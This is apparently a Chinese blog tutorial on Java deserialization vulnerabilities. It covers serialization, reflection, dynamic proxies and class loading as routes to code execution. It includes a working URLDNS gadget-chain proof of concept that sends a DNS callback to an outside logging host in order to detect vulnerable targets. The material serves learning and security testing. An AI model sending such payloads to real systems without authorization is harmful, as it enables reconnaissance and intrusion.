初探Java反序列化漏洞

文章发布时间:

最后更新时间:

文章总字数:
3.5k

预计阅读时间:
13 分钟

Java反序列化

原生序列化与反序列化

Java补充知识

打印类的对象:会自动调用类的toString()方法,默认是输出类名@哈希,如果希望输出我们想要看到的表现形式,需要重载toString()方法

java的命令执行方法:千万注意java并不能够和python或者php一样直接运行终端,通常使用这样的代码来命令执行:

1
2
3
4
5
6
7
8
9
10
public static void printResults(Process process) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream(),"GBK"));//GBK编码防止中文乱码
String line = "";
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
}
String[] cmd = {"cmd","/c","dir"};//需要指定cmd或者bash
Process p = Runtime.getRuntime().exec(cmd);//命令执行完并不会回显结果
printResults(p);

定义与具体操作

java的基本组成单位是类,为了让这些类在不同的项目之间方便地传输,必须将类序列化成字符串或者字节序列,例如在网页传输数据中常用的json和xml,然后用的时候再把类反序列化,本文讨论的是原生序列化与反序列化,即使用Java提供的方法来序列化与反序列化。

原生序列化和反序列化通过ObjectInputStream.readObject()ObjectOutputStream.writeObject()方法实现。

此外值得注意的是,任何类如果想要序列化就必须实现java.io.Serializable接口,实际上该接口是一个空接口,唯一作用是给类做一个标记,让jre确定这个类可以序列化,只需要在类名后加implements java.io.Serializable即可,并不需要其他操作:

1
2
3
public class Person implements java.io.Serializable {
String name;
}

也就是说,如果一个类没有该标记,就不用考虑对该类序列化和反序列化。

序列化:

1
2
3
4
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);//将字节序列写入文件
}

反序列化:

1
2
3
4
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}//从文件中读取字节序列反序列化并返回类的对象

然后就可以像php一样直接调用这两个方法来序列化和反序列化。

漏洞成因与利用

java中支持在类中定义如下函数:

1
2
3
4
private void writeObject(java.io.ObjectOutputStream out)
throws IOException
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException;

这两个函数不是java.io.Serializable的接口函数,而是约定的函数,如果一个类实现了这两个函数,那么在序列化和反序列化的时候ObjectInputStream.readObject()和ObjectOutputStream.writeObject()会被主动调用。这也是反序列化漏洞产生的根本原因。

最简单的一种漏洞利用方式就是传入一个重写了readObject()方法(注意重写的这个访问权限一定也要是private)的类的对象的字节序列,当程序反序列化该字节序列时就会自动执行readObject()里的恶意方法,然而这种利用方式并不常见。

漏洞利用的可能形式有以下四点

  • 入口类的readObject直接调用了危险方法
  • 入口类参数中包含可控类,该类有危险方法,readObject时调用
  • 入口类包含可控类,而该类又调用了其他有危险方法的类,readObject时调用,类似php的pop链,这里是gadgets,POP gadget可以存在于程序中的任何位置,唯一的要求是可以使用反序列化对象的属性来操纵代码,并且攻击者可以控制反序列化的数据
  • 构造函数/静态代码块等类加载时隐式执行,或者动态代理中自动执行invoke

漏洞产生的特点

  • 有入口类 source(重写readObject,参数类型宽泛)
  • 调用链 gadget chain
  • 执行类 sink (有危险的方法,rce,ssrf写文件等)

Java反射

反射是Java漏洞利用很重要的一环,万能的反射机制!(使用前记得将jdk版本调成1.8,太高版本的jdk反射受限)

定义和具体操作

定义:每加载一种class,JVM就为其创建一个Class类型的实例,并关联起来,通过Class来获得class的信息的行为叫反射。这个Class实例是JVM内部创建的,如果我们查看JDK源码,可以发现Class类的构造方法是private,只有JVM能创建Class实例,我们自己的Java程序是无法创建Class实例的。

所以,JVM持有的每个Class实例都指向一个数据类型,一个Class实例包含了该class的所有完整信息,我们可以通过该实例获得或者修改class对象的属性或者方法。

具体操作

首先要获得class的Class实例,有以下三种方法:

  • 直接通过class的静态变量class获取

  • Class cls = String.class;
    
    1
    2
    3
    4
    5
    6

    - 通过实例getClass()方法获取

    - ```
    String s = "Hello";
    Class cls = s.getClass();
  • 使用class的完整类名+静态方法Class.forName()获取

  • ```
    Class cls = Class.forName(“java.lang.String”);

    1
    2
    3
    4
    5
    6
    7
    8

    如果获取到了一个`Class`实例,我们就可以通过该`Class`实例来创建对应类型的实例

    ```java
    // 获取String的Class实例:
    Class cls = String.class;
    // 创建一个String实例:
    String s = (String) cls.newInstance();

上述代码相当于new String()。通过Class.newInstance()可以创建类实例,它的局限是:只能调用public的无参数构造方法。带参数的构造方法,或者非public的构造方法都无法通过Class.newInstance()被调用。解决方法是用Constructor实例

获得了Class之后就可以获取object实例的一切信息

获取字段信息和修改信息

  • Field getField(name):根据字段名获取某个public的field(只包括public包括父类)
  • Field getDeclaredField(name):根据字段名获取当前类的某个field(包括private不包括父类)
  • Field[] getFields():获取所有public的field(包括父类)
  • Field[] getDeclaredFields():获取当前类的所有field(不包括父类)

注意如果要获取私有的一定要用getDeclaredField,getField只能获取public!

一个Field对象包含了一个字段的所有信息:

  • getName():返回字段名称,例如,"name"

  • getType():返回字段类型,也是一个Class实例,例如,String.class

  • getModifiers():返回字段的修饰符,它是一个int,不同的bit表示不同的含义。

  • 先获取Class实例,再获取Field实例,然后,用Field.get(Object)获取指定实例的指定字段的值,如果要让问定义为private的字段,需要在访问前先加一句

    1
    f.setAccessibla(true);
  • 使用Field.set可以设置字段的值,第一个参数是Object实例,第二个参数是待修改的值

获取方法和调用方法

通过Class实例获取所有Method信息。Class类提供了以下几个方法来获取Method

  • Method getMethod(name, Class...):获取某个publicMethod(包括父类)
  • Method getDeclaredMethod(name, Class...):获取当前类的某个Method(不包括父类)
  • Method[] getMethods():获取所有publicMethod(包括父类)
  • Method[] getDeclaredMethods():获取当前类的所有Method(不包括父类)

一个Method对象包含一个方法的所有信息:

  • getName():返回方法名称,例如:"getScore"
  • getReturnType():返回方法返回值类型,也是一个Class实例,例如:String.class
  • getParameterTypes():返回方法的参数类型,是一个Class数组,例如:{String.class, int.class}
  • getModifiers():返回方法的修饰符,它是一个int,不同的bit表示不同的含义。

通过Method对象可以调用方法:

1
2
3
4
5
6
7
8
9
10
11
12
public class Main {
public static void main(String[] args) throws Exception {
// String对象:
String s = "Hello world";
// 获取String substring(int)方法,参数为int:一定要有名字有参数才能获取,否则会报错。
Method m = String.class.getMethod("substring", int.class);
// 在s对象上调用该方法并获取结果:
String r = (String) m.invoke(s, 6);
// 打印调用结果:
System.out.println(r);
}
}

使用反射调用方法时,仍然遵循多态原则:即总是调用实际类型的覆写方法(如果存在)。

构建对象

为了调用任意的构造方法,Java的反射API提供了Constructor对象,它包含一个构造方法的所有信息,可以创建一个实例。Constructor对象和Method非常类似,不同之处仅在于它是一个构造方法,并且调用结果总是返回实例:

通过Class实例获取Constructor的方法如下:

  • getConstructor(Class...):获取某个publicConstructor
  • getDeclaredConstructor(Class...):获取某个Constructor
  • getConstructors():获取所有publicConstructor
  • getDeclaredConstructors():获取所有Constructor

通过Constructor实例可以创建一个实例对象:newInstance(Object... parameters); 通过设置setAccessible(true)来访问非public构造方法

除了以上三种外,还可以通过getSuperclass()获取父类getInterfaces()获取接口

实操:DNS-URL利用链分析

URLDNS也就是 当HashMap的key传入为URL类型对象的话,这个URL对象就会执行URL类的hashCode()方法 ,从而触发DNS请求,通常用来探测是否存在反序列化漏洞。

阅读URL和HashMap源码得出链子流程:

1
2
3
URL类-->hashCode()方法-->1.hashcode=!-1-->不执行DNS解析
-->2.hashcode=-1-->handler.hashCode()(hander为URLStreamHandler类对象)-->getHostAddress(u)-->getByName(host)-->做一次DNS解析
HashMap类反序列化-->readObject()-->put(k,v)-->putVal()-->hash(k)-->k.hashCode()

由于一开始要先将URL类实例放入HashMap中,但是我们又不希望在放入的时候就DNS解析,于是要通过反射机制将hashcode改为不是-1的值。

为使反序列化自动调用readObject()时正常解析DNS,在将URL放入HashMap之后又要将hashcode改回-1,这样,如果发生反序列化就会自动DNS解析,即可判断存在反序列化漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDns {
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("url.txt"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
public static void main(String[] args) throws Exception {
URL url = new URL("https://8be5e5b3.ipv6.1433.eu.org");
HashMap<URL,Integer> hashmap = new HashMap<>();
Class cls = url.getClass();
Field f = cls.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,3);
hashmap.put(url,1);
f.set(url,-1);
serialize(hashmap);
unserialize("url.txt");
}
}

DNSLOG Platform (dig.pm)这个网站可以接收DNSLOG,判断链子是否调对。

JDK动态代理

定义和具体操作

Java标准库提供了一种动态代理(Dynamic Proxy)的机制:可以在运行期动态创建某个interface的实例。

先定义了接口Hello,但并不去编写实现类,而是直接通过JDK提供的一个Proxy.newProxyInstance()创建了一个Hello接口对象。这种没有实现类但是在运行期动态创建了一个接口对象的方式,我们称为动态代码。JDK提供的动态创建接口对象的方式,就叫动态代理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class Main {
public static void main(String[] args) {
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};
Hello hello = (Hello) Proxy.newProxyInstance(
Hello.class.getClassLoader(), // 传入ClassLoader
new Class[] { Hello.class }, // 传入要实现的接口
handler); // 传入处理调用方法的InvocationHandler
hello.morning("Bob");
}
}

interface Hello {
void morning(String name);
}

在运行期动态创建一个interface实例的方法如下:

  1. 定义一个InvocationHandler实例,它负责实现接口的方法调用(自动调用invoke方法);
  2. 通过Proxy.newProxyInstance()创建interface实例,它需要3个参数:
    1. 使用的ClassLoader,通常就是接口类的ClassLoader
    2. 需要实现的接口数组,至少需要传入一个接口进去;
    3. 用来处理接口方法调用的InvocationHandler实例。
  3. 将返回的Object强制转型为接口。

漏洞成因与利用

invoke涉及到了隐式函数调用(反序列化漏洞最喜欢看到的事),ClassLoader允许我们加载自己的类,攻击手法更加多样,具体链子和漏洞待进一步学习。

类的动态加载

定义和具体操作

类加载与反序列化:类加载的时候会自动执行代码,初始化会执行静态代码块,实例化会执行构造代码块和无参构造函数。

静态代码块:执行优先级高于非静态的初始化块,它会在类初始化的时候执行一次,执行完成便销毁,它仅能初始化类变量,即static修饰的数据成员。

静态代码块写法,

static{

}

对应的扩展下非静态代码块

非静态代码块(就是构造代码块)

执行的时候如果有静态初始化块,先执行静态初始化块再执行非静态初始化块,在每个对象生成时都会被执行一次,它可以初始化类的实例变量。非静态初始化块会在构造函数执行时,在构造函数主体代码执行之前被运行。

写法:

{

}

动态类加载方法

  • Class.forname
  • ClassLoader.loadClass 不进行初始化
  • ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader.loadClass->findClass(必须重写方法,如果使用系统默认的,加载过一次就不会再进行加载(双亲委派模型))->defineClass(从字节码中加载类,使得我们可以加载任意的类)

漏洞成因与利用

加载我们自己构造的恶意类,再通过任意类加载将其加载到服务器上:

  • URLClassLoader file/http/jar
  • ClassLoader.defineClass 字节码加载任意类,但是defineClass是private的
  • Unsafe.defineClass 字节码,使用有诸多限制,public类不能直接生成,spring里面可以直接生成。

参考链接: